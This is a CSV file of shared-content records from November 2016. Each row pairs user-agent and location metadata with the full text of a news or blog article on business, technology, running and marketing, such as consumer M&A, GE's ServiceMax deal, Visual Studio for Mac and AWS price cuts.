1479047250,CONTENT SHARED,-9086955082453789880,-1032019229384696495,-7141974164688059092,"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.28 Safari/537.36",NY,US,HTML,https://techcrunch.com/2016/11/12/we-are-on-the-verge-of-a-consumer-ma-avalanche/,We are on the verge of a consumer M&A avalanche,"If you believe in the mantra ""innovate or die,"" you might conclude that the largest consumer and retail brands are terminally ill. Giants like Kraft and Clorox all seem to be too slow and enslaved to shareholders to innovate. At the same time, they may be too large to perish... at least for now. What we have here is the perfect storm for a consumer mergers and acquisitions (M&A) avalanche. Big consumer packaged goods (CPG) companies are struggling to sell their products to a new generation of shoppers. A quick look at sales across various product sectors shows a steady downward slide for big brands. In the past five years, large brands lost market share to small brands in 42 of the top 54 most relevant food categories, according to Jefferies . Erosion is happening in nearly every consumer category. As consumers increasingly crave unique, authentic brands that meet personal preferences, marketing and distribution costs are falling dramatically. Consumers are researching and seeking out products rather than responding to advertising. Major CPG companies are losing billions in market share. And they aren't doing much about it. When was the last time a large consumer brand introduced an innovative product that anybody noticed? Research and development (R&D) should be more important - but is less emphasized - than ever. How bad is the R&D problem at CPG companies? At CircleUp, we recently pulled some data illustrating just how bad the R&D problem has become. We found that, on average, the biggest consumer packaged goods companies spend less than 2 percent of revenue on R&D, and close to 15 percent on marketing and advertising. In technology, where innovation is front and center, the spending is nearly reversed: about 13 percent on R&D and 2 percent on marketing and advertising. Big brands aren't oblivious to the challenges they're facing. So why aren't they investing more in new product development? Big brands haven't needed to innovate For decades, large brands have been protected by the high cost of entry into the CPG market. The pre-social media, pre-Amazon era made it extremely expensive for small companies to get distribution and advertise their products. Demand for innovation was extremely low because consumers were so accustomed to seeing the same products on the shelf. Innovation is risky The path to innovation - developing and testing new products and weighing market responses - is flat-out risky. It could lead to quarterly and yearly losses and the future revenue takes years to kick in (if it does at all). Brand managers responsible for R&D decisions often have short-term incentives to not take risks. Should we meet our quarterly numbers or should we innovate on a new product that likely won't show top-line impact until years after I'm transferred to run another division? Big brands don't have the personnel to change There have been so few incentives to change for so many years that most big brands don't have robust R&D teams or experience. These behemoths just aren't well-equipped to test the water and make great new products. These companies are decades old, sometimes a century, and they aren't used to change. The image of your grandfather on the dance floor comes to mind. As does Clay Christensen's ""The Innovator's Dilemma,"" which calls out this trend . Big brands spend so much effort selling their existing products that they fail to plan for the future, then struggle shifting to solve for a problem they weren't born into. M&A is replacing R&D Mergers and acquisitions are, effectively, big consumer brands' substitute for R&D. And with drastically shrinking market share, slow growth and big cash war chests on their balance sheets, we'll be sure to see a lot more of it. And a lot more early-stage investing, as well, so they can participate in more of the growth, earlier in a brand's life. Unilever spent a mere 1.9 percent on its R&D last year, but it hasn't been shy about hedging bets elsewhere, snatching up Dollar Shave Club ($1 billion) and Seventh Generation ($700 million ). Unable to outflank startup brands, big consumer brands are upping their M&A games as a way to outsource R&D and leave the risk of innovation to the startups that do it best. This trend has already taken hold in the pharmaceutical industry. The conglomerates there skip R&D almost entirely, acquire new formulas like crazy, then plug those products into their vast distribution pipes while they focus on advertising and regulatory issues. Big consumer brands are on the same path. But the deciding factor, and what we've yet to see, is how well these big brands preserve the quality and authenticity of their newly acquired products. People increasingly demand personalized offerings, be it organic, environmentally sustainable, fair-trade, of an ethnic variety - the list goes on. Now, the seemingly simple act of selecting a household cleaning solution is an act of self-expression. If big brands don't preserve the uniqueness, they'll be back where they started. The forces behind an M&A avalanche have been building for several years. Last year alone the M&A in consumer and retail was $238 billion , almost twice the size of M&A in tech. The M&A avalanche signals are there, and they're only growing stronger. Get ready for the ride. Featured Image: Gerhard Fitzthum /Getty Images",en
1479135621,CONTENT SHARED,-2780168264183400543,-1032019229384696495,-1387563534728594608,"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.28 Safari/537.36",NY,US,HTML,http://www.runnersworld.com/running-tips/in-the-long-run,In the Long Run,"Two Hours Before Eat a meal that consists of .5 to 1 gram of carbohydrate for every pound of body weight, says Dayton, Ohio-based dietitian Pamela Nisevich Bede: ""In other words, if you're 150 pounds, aim to consume 75 to 150 grams of carbs""--300 to 600 calories. Stay light on protein, fiber, and fat, which take longer to digest and don't fuel muscles as efficiently. Consume 17 to 20 ounces of water or sports drink--""dehydration has been clinically shown to derail performance,"" she says. 30 Minutes Before This is checklist time. BodyGlide? Energy gels? Sunscreen? ""But don't do too much,"" says Flagstaff, Arizona-based coach and nutrition consultant Alicia Shay. ""You have a big effort coming, so stay relaxed."" A 2008 Olympic Trials qualifier and internationally competitive runner for the Nike Trail Team, Shay uses this in-between time to attend to e-mails. Keep sipping water, but not so much that you'll have fluid sloshing in your stomach when you depart. Go Time ""The key thing with long runs is to start slowly,"" says San Diego, California-based coach Greg McMillan. No matter how eager you are to get rolling, rein in your pace during the early miles. McMillan recommends ""the old talk test: You should be able to chat away with your training partner."" If you can only utter a sentence before you gasp for breath, you're going too fast. And that will spell trouble for the second half of your run, which, says McMillan, ""is where all the great benefits happen."" 45 Minutes in Begin to refuel. Take in gels and fluids at least every three-quarters of an hour during your run. ""By fueling early, you are less likely to deplete your stores,"" says Nisevich Bede. ""And if you take in bits of fuel at a time and chase with water, you'll absorb it better and are less likely to have GI distress."" 15 Minutes to Finish Tough it out. ""As you get toward the end of the run, the fatigue curve ramps up,"" McMillan says. You have to increase your focus and intensity to maintain the same pace . But keeping your pace constant, or even picking it up a bit, is crucial to reaping maximal gains. McMillan recommends using mantras for those soul-searching moments. ""Run tall"" helps athletes clean up late-run form problems like slouching and cross-body arm swings. And ""nice, light stride"" reminds them to avoid shuffling. Done! You'll want to collapse on the couch. Don't. ""You should immediately start taking in fluids,"" says Shay. Rehydration comes in many forms: water, sports recovery drinks, smoothies, even chocolate milk. Within 30 minutes, Shay also suggests carbs for glycogen replacement and boosting the immune system, plus protein to aid in muscle repair. How those carbs and proteins come--whether in drinks, solid food, or a mix of both--is a matter of individual preference and depends on what your stomach is able to handle. ""But you want about 300 to 400 calories total,"" she says, ""with a carb-to-protein ratio of 3 or 4 to 1."" Within One Hour Postrun Stay active. Find a routine that helps you avoid the onset of soreness and tightening that can follow a hard effort, whether that's a session of active stretching or a walk around the block with your dog. Duane Button, an assistant professor of exercise science at Memorial University of Newfoundland in Canada, has found that subjects who used foam rollers on their leg muscles following workouts experienced less soreness and recovered faster than those who didn't. Although he hasn't done studies specifically with runners, he'd ""speculate that foam rolling would help runners recover from a long-distance run."" He recommends performing a full lower-body foam roll, including your calves, hamstrings, quadriceps, glutes, and IT bands. (Check out this article on foam rollers). Roll the bottoms of your feet on a smaller roller or a ball.",en
1479139626,CONTENT SHARED,-3269885695260066314,-1032019229384696495,-1387563534728594608,"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.28 Safari/537.36",NY,US,HTML,https://hbr.org/2016/11/the-competitive-landscape-for-machine-intelligence?,The Competitive Landscape for Machine Intelligence,"Three years ago, our venture capital firm began studying startups in artificial intelligence. AI felt misunderstood, burdened by expectations from science fiction, and so for the last two years we've tried to capture the most-important startups in the space in a one-page landscape. (We prefer the more neutral term ""machine intelligence"" over ""AI."") In past years, we heard mostly from startup founders and academics - people who pay attention to early, far-reaching trends in technology. But this year was different. This year we've heard more from Fortune 500 executives with questions about machine intelligence than from startup founders. These executives are asking themselves what to do. Over the past year, machine intelligence has exploded, with $5 billion in venture investment, a few big acquisitions, and hundreds of thousands of people reading our earlier research. As with the internet in the 1990s, executives are realizing that this new technology could change everything, but nobody knows exactly how or when. If this year's landscape shows anything, it's that the impact of machine intelligence is already here. Almost every industry is already being affected, from agriculture to transportation. Every employee can use machine intelligence to become more productive with tools that exist today. Companies have at their disposal, for the first time, the full set of building blocks to begin embedding machine intelligence in their businesses. And unlike with the internet, where latecomers often bested those who were first to market, the companies that get started immediately with machine intelligence could enjoy a lasting advantage. So what should the Fortune 500 and other companies be doing to get started? Make Talent More Productive One way to immediately begin getting the value of machine intelligence is to support your talent with readily available machine intelligence productivity tools. Some of the earliest wins have been productivity tools tuned to specific areas of knowledge work - what we call ""Enterprise Functions"" in our landscape.With these tools, every employee can get some of the powers previously available only to CEOs . These tools can aid with monitoring and predicting (e.g., companies like Clari forecasting client-by-client sales to help prioritize deals) and with coaching and training (Textio's* predictive text-editing platform to help employees write more-effective documents). Find Entirely New Sources of Data The next step is to use machine intelligence to realize value from new sources of data, which we highlight in the ""Enterprise Intelligence"" section of the landscape. These new sources are now accessible because machine intelligence software can rapidly review enormous amounts of data in a way that would have been too difficult and expensive for people to do. Imagine if you could afford to have someone listen to every audio recording of your salespeople and predict their performance , or have a team look at every satellite image taken from space and determine what macroeconomic indicators could be gleaned from them. These data sources might already be owned by your company (e.g., transcripts of customer service conversations or sensor data predicting outages and required maintenance ), or they might be newly available in the outside world (data on the open web providing competitive information ). Rethink How You Build Software Let's say you've tried some new productivity tools and started to mine new sources of data for insight. The next frontier in capturing machine intelligence's value is building a lasting competitive advantage based on this new kind of software. But machine intelligence is not just about better software; it requires entirely new processes and a different mindset. Machine intelligence is a new discipline for managers to learn, one that demands a new class of software talent and a new organizational structure. Most IT groups think in terms of applications and data. New machine intelligence IT groups will think about applications, data, and models. Think of software as the combination of code, data, and a model. ""Model"" here means business rules, like rules for approving loans or adjusting power consumption in data centers. In traditional software, programmers created these rules by hand. Today machine intelligence can use data and new algorithms to generate a model too complex for any human programmer to write. With traditional software, the model changes only when programmers explicitly rewrite it. With machine intelligence, companies can create models that evolve much more regularly, allowing you to build a lasting advantage that strengthens over time as the model ""learns."" Think of these models as narrowly focused employees with great memories and not-so-great social skills - idiot savants. They can predict how best to grow the business, make customers happier, or cut costs. But they'll often fail miserably if you try to apply them to something new, or, worse, they may degrade invisibly as your business and data change. All of this means that the discipline of creating machine intelligence software differs from traditional software, and companies need to staff accordingly. Luckily, though finding the right talent may be hard, the tools that developers need to build this software is readily available. For the first time, there is a maturing ""Stack"" (see our landscape) of building blocks that companies can use to practice the new discipline of machine intelligence. Many of these tools are available as free, open-source libraries from technology companies such as Google (TensorFlow), Microsoft (CNTK), or Amazon (DSSTNE). Others make it easier for data scientists to collaborate (see ""Data Science"") and manage machine intelligence models (""Machine Learning""). If your CEO is struggling to answer the question of how machine intelligence will change your industry, take a look at the range of markets in our landscape. The startups in these sections give a sense of how different industries may be altered. Machine intelligence's first useful applications in an industry tend to use data that previously had lain dormant. Health care is a prime example: We're seeing predictive models that run on patient data and computer vision that diagnoses disease from medical images and gleans lifesaving insights from genomic data. Next up will be finance, transportation, and agriculture because of the volume of data available and their sheer economic value. Your company will still need to decide how much to trust these models and how much power to grant them in making business decisions. In some cases the risk of an error will be too great to justify the speed and new capabilities. Your company will also need to decide how often and with how much oversight to revise your models. But the companies that decide to invest in the right models and successfully embed machine intelligence in their organization will improve by default as their models learn from experience. Economists have long wondered why the so-called computing revolution has failed to deliver productivity gains. Machine intelligence will finally realize computing's promise. The C-suites and boardrooms that recognize that fact first - and transform their ways of working accordingly - will outrun and outlast their competitors. *The authors' fund has invested in this company.",en
1479139842,CONTENT SHARED,8353614127518545485,-1443636648652872475,-4000600378394883873,"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",SP,BR,HTML,https://blog.google/products/google-play/introducing-the-new-google-play-music/,Introducing the new Google Play Music,"Whether reminding you to leave to catch your flight, helping you find pictures of your daughter's recital, or suggesting the right Smart Reply , Google builds tools that help you make the world of information more accessible and useful. And at Google Play Music, we strive for the same. Building on our commitment to help you find the right music for any moment, today we're introducing the new Google Play Music - a fresh take on our music streaming service that is smarter, easier to use, and much more assistive. To deliver that, Google Play Music uses machine learning to figure out what music you like and then mixes in signals like location, activity, and the weather along with hand-picked playlists to personalize music for wherever you are and whenever you want tunes. Starting this week on Android , iOS and the web , the new experience will roll out globally (62 countries, to be precise). DON'T THINK TWICE, IT'S ALL RIGHT To provide even richer music recommendations based on Google's understanding of your world, we've plugged into the contextual tools that power Google products. When you opt in, we'll deliver personalized music based on where you are and why you are listening - relaxing at home, powering through at work, commuting, flying, exploring new cities, heading out on the town, and everything in between. Your workout music is front and center as you walk into the gym, a sunset soundtrack appears just as the sky goes pink, and tunes for focusing turn up at the library.",en
1479155720,CONTENT SHARED,4671890082953295903,-1032019229384696495,-1387563534728594608,"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.28 Safari/537.36",NY,US,HTML,https://techcrunch.com/2016/11/14/ge-digital-snags-servicemax-for-915-million/,GE Digital snags ServiceMax for $915 million,"GE Digital announced today it was buying ServiceMax , a cloud-based field service management company, for $915 million. GE Ventures had been an investor in the company as part of the $82 million Series F round in 2015. The two companies have more in common than you might think. GE is building the Predix Platform, on top of which it hopes companies will build applications that take advantage of sensor data coming off of Internet of Things-connected devices. GE has made a huge bet on the Industrial Internet of Things, using data on huge machines like MRI machines, wind turbines and airplane engines to give customers the data they need to proactively maintain these mega systems. In fact, when I spoke to Athani Krishnaprasad, co-founder and VP of product at ServiceMax recently, we talked about a future vision where sensors on IoT devices fed information to companies, allowing them to build entirely new business models. In Krishnaprasad's vision for his company, a hospital would subscribe to an MRI machine instead of buying it and pay for guaranteed up time instead of the physical hardware. It would be up to the vendor to proactively monitor the device and keep it up and running. Data coming from sensors would let the company know when a part was about to break or that it was time for regular maintenance. He called this ""outcome-based services."" ""Analyzing the data to change business process to gain efficiencies or service customers better is a big win,"" Krishnaprasad explained. And as GE transforms from a company simply selling those big machines to one that fits so well with ServiceMax's future world view, the two companies coming together makes so much sense. ""This acquisition builds upon our ongoing efforts to enhance our overall technology stack around the Predix platform and advance our Industrial Internet vision,"" Bill Ruh, GE Digital CEO said in a statement. ""Improved productivity is critical for the Industrial Internet and digitizing field services is a cornerstone of a successful digital industrial strategy,"" he added. Developing Story. More to come. Featured Image: Boston Globe /Getty Images",en
1479178420,CONTENT SHARED,6750029764020453263,-1578287561410088674,2000151301182442550,"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) SmartCanvas/0.1.0 Chrome/49.0.2623.75 Electron/0.37.2 Safari/537.36",SP,BR,HTML,https://macmagazine.com.br/2016/11/14/microsoft-anuncia-visual-studio-para-mac-disponivel-ainda-nesta-semana/,"Microsoft anuncia Visual Studio para Mac, disponível ainda nesta semana | MacMagazine.com.br","Acredito que, a este ponto, dizer que a Microsoft deu uma reviravolta de 180º (para melhor!) nos últimos anos sob o comando de Satya Nadella é chover no molhado. A empresa está mais amigável, mais aberta, mais criativa e acessível que nunca - e, se você quer mais uma prova disso, basta saber que, pela primeira vez nos seus 20 anos de história, o Visual Studio está ganhando uma versão para Mac. A novidade foi anunciada por meio de um post no blog oficial da Microsoft - talvez um pouco mais cedo do que o planejado, já que ele foi apagado um pouco depois ( aqui pode-se acessar uma versão em cachê), mas enfim: o fato é que uma das ferramentas de desenvolvimento mais populares do mundo está encontrando o seu caminho para o mundo Apple e agora desenvolvedores que queiram utilizar o Visual Studio num Mac não mais precisarão recorrer a alternativas como o Boot Camp, o Paralells ou o VMware Fusion. Obviamente, a intenção aqui não é que os usuários escrevam aplicações inteiras para Windows num Mac - afinal de contas, para rodar tais criações ainda seria necessária uma máquina virtual -, mas para edições rápidas ou criação de softwares para outras plataformas, como iOS, Android ou o próprio Mac, o Visual Studio cumprirá muito bem a sua função. Como dizia um trecho do post agora deletado: Se você gosta da experiência de desenvolvimento do Visual Studio, mas precisa ou quer utilizar o macOS, você certamente se sentirá em casa. A interface de usuário [da versão para Mac] é inspirada pela do Visual Studio, mas desenhada para que o programa transpareça como um cidadão nativo do macOS. Ainda que traga boa parte das capacidades da sua versão original do Windows, o Visual Studio para Mac terá algumas limitações, como falta de suporte a alguns tipos específicos de projeto. A grande vantagem do novo programa, entretanto, é a possibilidade de compartilhar projetos entre Macs e PCs instantaneamente, sem necessidade de conversão. Segundo o anúncio, o Visual Studio para Mac será apresentado em maiores detalhes amanhã no evento para desenvolvedores Connect(), da Microsoft, com uma versão de testes disponibilizada já nesta semana. [via The Verge ] Se houver algum erro no post acima, selecione-o e pressione Shift + Enter ou clique aqui para nos notificar. Obrigado! aplicativo Boot Camp desenvolvedor desenvolvimento developer Mac macOS Microsoft programa Software Visual Studio Windows Sobre o Autor Aviso: nossos editores/colunistas estão expressando suas opiniões sobre o tema proposto e esperamos que as conversas nos comentários sejam respeitosas e construtivas. O espaço acima é destinado a discussões, debates sobre o tema e críticas de ideias, não às pessoas por trás delas. Ataques pessoais não serão tolerados de maneira nenhuma e nos damos ao direito de ocultar/excluir qualquer comentário ofensivo, difamatório, preconceituoso, calunioso ou de alguma forma prejudicial a terceiros, assim como textos de caráter promocional e comentários anônimos (sem nome completo e/ou email válido). Em caso de insistência, o usuário poderá ser banido.",pt
1479182960,CONTENT SHARED,-6245524727898921842,6960073744377754728,6950610596007602921,"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_1) AppleWebKit/602.2.14 (KHTML, like Gecko) Version/10.0.1 Safari/602.2.14",GA,US,HTML,http://www.cmo.com/opinion/articles/2016/11/8/resonating-with-millennials-takeaways-from-just-dance-2017.html,Marketing To Millennials: 'Dope' Takeaways From 'Just Dance 2017',"I've mentioned it before in previous articles, and it's worth saying again: The Millennial generation is the broadest, biggest, and most culturally diverse generation yet. Falling between the ages of 16 to 35, Millennials are at that stage where they are actively purchasing products, making them a key demographic for marketers to pay attention to. In fact, in just four years, Millennial expenditure will account for 30% of all retail sales in the United States. But given that a teenage Millennial's interests are much different than that of a 30-something Millennial, identifying a ""one-size-fits-all"" marketing technique to appeal to all ages in this generation is a quixotic task. Still, a few general themes seem to appeal to the broad generation as a whole-and the marketing team of Ubisoft 's ""Just Dance 2017"" video game may have figured them out. (Note: I have no affiliation with the company. As both a Millennial and a marketer, I was impressed and wanted to learn more.) Now in its eighth year, "" Just Dance "" is the best-selling dance game franchise of all time. As with just about anything that has annual versions, the ability to stay new and authentic while also maintaining the qualities that made a product popular in the first place becomes increasingly difficult with each passing year. The folks at Ubisoft faced this challenge, along with wanting to appeal to the Millennial audience as well as their parents. That, in itself, required some fancy footwork: These two audiences contradict one another to an extent, especially when it comes to entertainment preferences. The ""Just Dance"" marketing team partnered with ad agency Funworks to brainstorm a solution. I spoke to Funworks' chief creative officer, Craig Mangan , who told me how, unlike a typical strategy session, Funworks filled the room with comedians and improv artists of different age groups and started tossing around ideas for a campaign. They identified and addressed three key traits that Millennials share: They don't like being advertised to, they like to try before they buy, and they consist of a wide variety of cultures, demographics, and personal preferences. Clearly, simply preaching why people should buy the game would not resonate. Ads needed to come across as both entertaining and informative but still leave viewers with a key understanding of the game and a desire to purchase. The agency showed the game to the target audience, who were also comedians, and encouraged them to play. At first, everyone was hesitant to start dancing, but soon embarrassment fell by the wayside. ""It went from nope to dope in just 8 seconds,"" said one of the participants-who unwittingly came up with the tagline for the game. The resulting ad featured a ""seasoned"" commentator using the fresh lingo of the younger demographic. ""You can't just say slang like 'dope' and expect it to resonate with Millennials. They are very smart and hate anything disingenuous,"" Mangan told me. ""But having a 60-year-old voice saying the words gave the sarcastic and authentic humor we were looking for. It's juxtaposing the two generations."" Millennials' preference to try before they buy was addressed with a free trial of ""Just Dance."" As Phil Libin, former CEO of Evernote, so eloquently put it: ""The easiest way to get 1 million people paying is to get 1 billion people using."" The freemium model helped on two fronts. First, it allowed Ubisoft to focus its ad campaign on why people should try the game rather than buy it. Secondly, users were less likely to leave poor reviews due to buyer's remorse since they would have experienced any dislikes about the game prior to buying it. Finally, given the sheer size of and variance of preferences among the Millennial generation, the game had to have music with wide appeal and could be played on myriad platforms. Thus, ""Just Dance"" was made available on seven different gaming platforms, including the PC for the first time, with songs by Justin Bieber and Queen. And, keeping in mind that mobile is a must for this first digital generation, players can use their smartphones as controllers for the game. The takeaway for marketers here is that, when marketing to Millennials, ad campaigns should be focused on addressing benefits or value of the product or service rather than the cost. Accessing a product or service itself should be as frictionless as possible, translating to an easy user experience. In the case of ""Just Dance,"" it was about demonstrating that anyone can have fun, no matter age, song preference, or device. ""This is an awesome wacky game, no matter who you play it with or how you play it,"" said Kristina Phillips , brand manager at Ubisoft.",en
1479200073,CONTENT SHARED,-6466212324513658217,3217014177234377440,8681148622262204198,"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",SP,BR,HTML,https://www.coursera.org/learn/communication,[Coursera] Introduction to Communication Science - University of Amsterdam | Coursera,"About this course: Since Antiquity, scholars have appreciated the importance of communication: as social beings, we cannot exist without communication. We need to interact with people around us, to make sense of the world and to position ourselves in a wider social and cultural reality. In this course, we look at how and why communication evolved as a science and reflect on today's dominant paradigms. The course also extends beyond the boundaries of communication science itself, exploring dimensions of history, sociology and psychology. Join our class, together with people all over the world. Introduction to Communication Science explores some of the basic theories, models and concepts from the fields of mass, interpersonal and intrapersonal communication. The course begins with a consideration of several basic models, subsequently progressing to the history of communication theory, linear effect-oriented theories, the reception approach and, finally, exploring theories on the production and reinforcement of culture through communication. Upon completion of this course, students should: * have knowledge of the history and development of communication science; * have knowledge of the dominant theoretical approaches within communication science; * have knowledge and understanding of the most important models and concepts in this field. Beginning the week of February 16, 2015, you will be able to join Signature Track, a system that verifies your identity when you take an exam. This option will allow you to earn a Verified Certificate, which provides formal recognition of your achievements in the course and includes the University of Amsterdam logo. Before then, you can complete a ""test run"" of the exam. You can then re-take the exam after the Verified Certificate becomes available. For information regarding Verified Certificates, see """,en
1479208208,CONTENT SHARED,-4158297476631283435,3217014177234377440,8681148622262204198,"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",SP,BR,HTML,https://blog.google/products/g-suite/jamboard-whiteboard-reimagined-collaboration-cloud/,"[Situation Wall] Jamboard - the whiteboard, reimagined for collaboration in the cloud","Bringing the right team together for a meeting or brainstorm can take an idea from being good to great. When we tap into ideas from teams across the globe, our work becomes more collaborative and productive. It doesn't feel like...well, work. At Google, we've set out to redefine meetings. So today, we're introducing Jamboard - a collaborative, digital whiteboard that makes it easy for your team to share ideas in real-time and create without boundaries. We're moving the whiteboard to the cloud.",en
1479239964,CONTENT SHARED,7334805502505837712,-1443636648652872475,-8925961710291809202,"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",SP,BR,HTML,http://www.addlabs.uff.br/workpedia2016/,WORKPEDIA 2016,"O EVENTO PESQUISA & DESENVOLVIMENTO A sociedade vive um momento em que a tecnologia cada vez mais aumenta as possibilidades de se partilhar as funções cognitivas dos indivíduos através do suporte eletrônico. Por outro lado, temos que estar preparados para a revolução tecnológica que está acontecendo. Cada vez mais estudiosos e formuladores de políticas públicas concordam que o investimento em pesquisa e desenvolvimento é fundamental para o progresso socioeconômico do Brasil. Investir em P&D significa fomentar o desenvolvimento tecnológico e, consequentemente, a inovação do processo produtivo. O WORKPEDIA traz a discussão sobre as pesquisas brasileiras realizadas e sobre o impacto dos seus resultados para a sociedade brasileira. CONTRIBUIÇÃO DO COLETIVO O WORKPEDIA, em sua segunda edição, traz a discussão da contribuição do coletivo para a resolução de problemas. Esse foco inclui não apenas o coletivo humano, como na abordagem de inteligência coletiva, inovação aberta e crowdsourcing, mas, também, o coletivo computacional, como enfatizado em inteligência de enxames (swarm systems). Professores, pesquisadores, alunos e demais interessados poderão debater os avanços e os desafios a serem enfrentados pela pesquisa e pelo desenvolvimento em IA, apontando tendências, novidades e caminhos na busca conjunta pela inovação e pela ampliação tecnológica em nosso país. O objetivo deste evento é reunir pesquisadores, professores, profissionais, e, principalmente, estudantes interessados em aprender e em discutir problemas, soluções e conceitos, relacionados com a construção de sistemas inteligentes que ampliem a capacidade humana de resolver problemas complexos, envolvendo grandes massas de dados. PARTICIPE Haverá apresentação de artigos técnicos, acadêmicos, trabalhos científicos, palestras, painéis, minicursos e mesas redondas para discussão dos caminhos da pesquisa no Brasil, com a enriquecedora presença de pesquisadores de renome, reconhecidos como referência em suas áreas. O evento acontecerá nos dias 14, 15 e 16 de dezembro de 2016. Local: Auditório do prédio do Instituto de Computação, localizado na Rua Edmundo March, s/n - Campus da Praia Vermelha - UFF, no bairro de São Domingos, em Niterói. Para mais informações, ligue para (21) 2629-5861. INSCRIÇÕES Haverá 10 bolsas para alunos. Envie email para secretaria@addlabs.uff.br solicitando a sua. QUARTA-FEIRA 14 QUINTA-FEIRA 15 SEXTA-FEIRA 16 08h00 às 08h30 Credenciamento 08h30 às 10h30 Minicursos Minicursos Minicursos 10h30 às 12h30 Sessão Técnica 1 Sessão Técnica 2 Sessão Técnica 3 12h30 às 14h00 Almoço 14h00 às 16h30 Mesa Redonda Indústria de Petróleo e IA Mesa Redonda O futuro com IA Sessão Técnica 4 (pôsters) 16h30 às 17h00 Coffee Break 17h00 às 18h30 Palestrante Nacional (Prof. Clarisse de Souza - PUC-Rio) Palestrante Internacional (Prof. Luis Correia - Univ. de Lisboa) Palestrante Nacional (Prof. Cristiano Maciel - UFMT) 18h30 Coquetel de abertura Jantar por adesão Encerramento Lista de MiniCursos Bots Análise de Sentimentos Algoritmos de Agrupamento (Clusterização) Otimização Multiobjetivo Integração de Sistemas Algoritmos Evolucionários Ribbon button label:INSCREVA-SE JÁINSCREVA-SE JÁ",pt
1479267135,CONTENT SHARED,-4293262855938209141,-2726721797588771398,6980245288122662899,"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.44 Safari/537.36",NJ,US,HTML,http://finance.yahoo.com/news/globant-acquires-l4-strengthen-lead-211500771.html,Globant Acquires L4 to Strengthen its Lead Position in the Digital Services Space,"SAN FRANCISCO, Nov. 14, 2016 /PRNewswire/ -- Globant ( GLOB ), a digitally native technology services company focused on creating digital journeys, today announced the acquisition of L4 , a leading digital services company. With this acquisition, Globant expands its US footprint leveraging L4's presence in Seattle. This acquisition is aligned with Globant's unique vision of creating digital journeys, which involves the creation of different products that take into account each moment of interaction between the brand and the user, creating experiences that are relevant to the moment, the consumer and the environment. Aligned to it, L4's main differentiator is to ideate, design and develop robust digital products and complex software, with a strong focus on innovation and quality assurance. L4's professionals, all based in the US, work with renowned brands to create digital strategies and products to reach millions of consumers. ""L4 shares our vision and recognizes the importance of delivering meaningful experiences for our clients and their end users. The company shares our passion for creativity, innovation and design. We believe that its professionals include some of the best mobile and media minds in the industry. On top of that, they work with the most progressive companies to accelerate digital products to market,"" stated Martín Migoya, Globant CEO and co-founder. ""The company's unique blend of multi-platform experience with a focus on quality assurance sets L4 apart from other digital services companies, so we are sure that this acquisition will strengthen Globant's goal of becoming the best partner in developing profound digital transformations."" ""L4's recognized experts will allow us to continue building a global team with what we believe to be some of best talent in the world. L4 is based in the US, which will enable us to expand our local footprint to be even closer to our customers and, thus, propel our partnerships,"" added Martín Umaran, Globant Chief of Staff and co-founder. ""Moreover, L4 will help us increase the depth of our capabilities, based on the company's knowledge around media and entertainment, and experience with the most innovative platforms and current practices, in regards to design, mobile development and IoT. We are thrilled to have them on board."" Founded in 2008, L4 is headquartered in Seattle, WA. The company has 65 professionals working for renowned brands including Sesame Workshop, Seattle Cancer Care Alliance, Chicago Public Media and Sony Pictures Television. They have vast experience working with major platforms and devices including Android, HTML5, XBox, Microsoft UWP, iOS and Apple TV. As proof of its professionals' experience and passion for quality, L4 received the Gold Stevie® Award for ""Fastest Growing Tech Company of the Year - Up to 100 Employees,"" was included in the Inc. 5000 list for 2016, and was recognized as a 2016 Certified Great Place to Work. To date, L4 products have been downloaded more than 100 million times, and the company is responsible for creating many of the market-leading OTT products available today. L4's Co-Founder & Chief Commercial Officer, Keith O'Neill, added: ""Since its founding, the mission of L4 has been to become a leader in creating innovative and meaningful experiences to engage people across every screen. Globant is an extraordinary company that we believe will help us achieve our goals. We are gratified to join a company that shares our same passion for creating digital journeys and innovative software products. We can't wait to start working on all the amazing projects that will result from joining Globant's team."" About Globant Globant ( GLOB ) is a digitally native technology services company that creates digital journeys for its customers, which impact millions of consumers. Globant is the place where engineering, design, and innovation meet scale. Globant has more than 5,400 professionals in 12 countries working for companies like Google, Linkedin, JWT, EA, and Coca Cola, among others. Globant was named a Worldwide Leader of Digital Strategy Consulting Services by IDC MarketScape Report (2016) and its client work has been featured as business case studies at Harvard University, Massachusetts Institute of Technology and Stanford University. For more information, visit www.globant.com . Logo - To view the original version on PR Newswire, visit:",en
1479296459,CONTENT SHARED,-6772450850499951060,1120069409160402054,4623195313820515763,"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",SP,BR,HTML,https://aws.amazon.com/blogs/aws/ec2-price-reduction-c4-m4-and-t2-instances/,"EC2 Price Reduction (C4, M4, and T2 Instances) | AWS Blog","I am happy to be able to announce that an EC2 price reduction will go in to effect on December 1, 2016, just in time to make your holiday season just a little bit more cheerful! Our engineering investments, coupled with our scale and our time-tested ability to manage our capacity, allow us to identify and pass on the cost savings to you.",en
